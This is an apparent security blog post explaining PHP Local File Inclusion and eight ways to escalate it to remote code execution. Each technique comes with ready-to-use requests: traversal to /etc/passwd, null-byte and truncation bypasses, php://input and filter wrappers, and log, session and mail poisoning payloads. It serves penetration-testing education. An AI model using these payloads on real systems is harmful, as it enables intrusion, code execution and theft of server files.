CVV #1: Local File Inclusion
This is a short series about âCommon Vulnerability Vectorsâ and related exploitation-methods.
Iâm gonna start this series with a quite known and therefore old vector: Local File Inclusion (short: âLFIâ).
According to Wikipedia, âLFIâ is described as:
A type of âFile Inclusion Vulnerabilityâ, [â¦] that is most commonly found to affect web applications that rely on a scripting runtime [â¦], local files i.e. files on the current server can be included for execution.â
There is also a short example (written in PHP) which describes the vulnerability (and itâs basic form) very well:
<?php
include($_GET['filename'] . '.php');
?>
This example can be easily exploited by using Path Traversal for navigation and inclusion of a sensitive or useful file, in this example /etc/passwd/ based on the assumption that the serverâs OS is based on Linux:
GET vulnerable.php?filename=../../../etc/passwd HTTP/1.1
Host: victim.com
HTTP Response:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
Although this type of vulnerability is very old, if found, there is a very likely chance to expand the âLFIâ to a Remote Code Execution. So: Try to remember âLFIâ when testing functions related to file-handling like templates, attachments, requests, read or write operations.
The following content describes methods based on my current knowledge who might be useful when expanding a âLFIâ to a âRCEâ.
Thanks to: _lavalamp, smiegles, arr0way, d.w., swisskey, rawsec_cyber, j.adriaans for contributing their knowledge to this topic.
[1] Path Truncation
PHP by default handles /etc/passwd like /etc/passwd/ or /etc/passwd/// or /./etc/passwd, trailing slashes are stripped of before opening the file. On the most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. This allows to bypass a hard-coded file-extension by simply pushing the parameter with trailing slashes over itâs size:
GET vulnerable.php?filename=../../../etc/passwd/././././././././/././././././././././[ and so on ] HTTP/1.1
[2] Nullbyte Injection
An URL-encoded nullbyte %00 can be used on PHP ⤠v.5.3. to cut off a hard-coded file-extension. This is possible due PHPâs relationship to C. In C a nullbyte represents the end of a string, therefore all chars after the nullbyte will be ignored.
GET vulnerable.php?filename=../../../etc/passwd%00 HTTP/1.1
[3] /proc/self
Because Linux-systems are using the file-structure for almost everything, the environment-variables of the current process (self) can be accessed via /proc/self/environ. One of the environment-variables set (if apache2 is running) is the user-agent which can be controlled through a HTTP request. In this case âRCEâ can be achieved by requesting the file in combination with the payload written into the HTTP User-Agent field.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Similarly /proc/self/fd/<id> (or itâs symlink: /dev/fd) can be used in combination with the HTTP Referer field to inject the payload into opened error-logs by apache2. Although itâs needed to brute-force these ids first to determine currently active file-descriptors referring to the opened file.
[4] PHP wrapper
There is a handful of PHP wrappers who can access different I/O or data streams via the PHP daemon and can (if enabled; allow_url_include) lead to a direct execution of instructions. php://input is a read-only stream that allows reading raw data from the request body. In this case, it is possible to inject code via POST-request:
POST vulnerable.php?filename=php://input HTTP/1.1
Host: victim.com<?=system('ls'); ?>
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. It can be used to read the content of a PHP file (which gets interpreted when included the natural way):
GET vulnerable.php?filename=php://filter/convert.base64-encode/resource=../vulnerable.php HTTP/1.1
In this case, the response is Base64 encoded (there are also other variants for returning the response e.g. ROT13 encoded: filter/read=string.rot13/resource=../vulnerable.php).
If the vulnerable application accepts file-uploads the zip:// or phar:// (PHP archive format) wrapper can be used for pointing to the uploaded and compressed version of the payload and unpacking it via a direct-path declaration:
zip archive.zip payload.php
--
GET vulnerable.php?filename=zip://archive.zip%23payload.php HTTP/1.1
The wrapper doesnât need a .zip file-extension for unpacking and interpreting the data (a renamed ZIP-archive can also be used).
[5] Log poisoning
Web-servers like Apache or Nginx are logging user-requests or application-related errors (like a stack-trace) to specific log-files on the server. These files can be manipulated by e.g. requesting HTTP Status 404 (a not-found page) with the payload via some HTTP method. Beware! The inclusion of these files can crash the browser (log-files can be big).
GET vulnerable.php?filename[]= HTTP/1.1
Referer: <?=phpinfo();?>
--
GET vulnerable.php?filename=../../../var/log/nginx/error_log HTTP/1.1
It is also possible to use the SSH authentication (similar authentication schemes like FTP are working too) to deliver and execute a payload by connecting to the SSH service:
ssh <?=phpinfo();?>@<ip-of-vulnerable-target>
--
GET vulnerable.php?filename=../../../var/log/auth.log HTTP/1.1
[6] PHP Sessions
PHP stores itâs user-session in files located under /var/lib/phpX/sess_<PHPSESSID> (where x=Version). If there is any function on the application like a login that pushes data into the current user-session file (e.g. a username for reflecting it later), this function can be abused to save the payload into the current session-file.
POST login.php HTTP/1.1
Host: victim.comusername=<?=phpinfo();?>&password=test
---
GET vulnerable.php?filename=../../../var/log/nginx/error_log HTTP/1.1
[7] phpinfo()
The output of the phpinfo() function contains the values of the PHP variables, including any values set via a POST, GET or FILE request. This can be used to debug the interpreterâs behavior by e.g. uploading a file which gets stored temporary in /tmp/<random> and is deleted at the end of the call. By making multiple upload posts to the function and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request, specifying the temporary filename. âLFISuiteâ created by D35m0nd142 allows to exploit this complex method:
[8] E-Mail
If the server is running a mail service it is possible to send the payload via mail and including it the associated log under /var/log/<user> (every other user has itâs own file).
mail -s "<?=phpinfo();?>" [email protected] < /dev/null
---
GET vulnerable.php?filename=../../../var/log/www-data HTTP/1.1
I hope you learned some new things. If you found any content-related or grammatical errors or have an addition, write a comment.
Kind regards
SI9INT (twitter.com/@si9int | https://si9int.sh)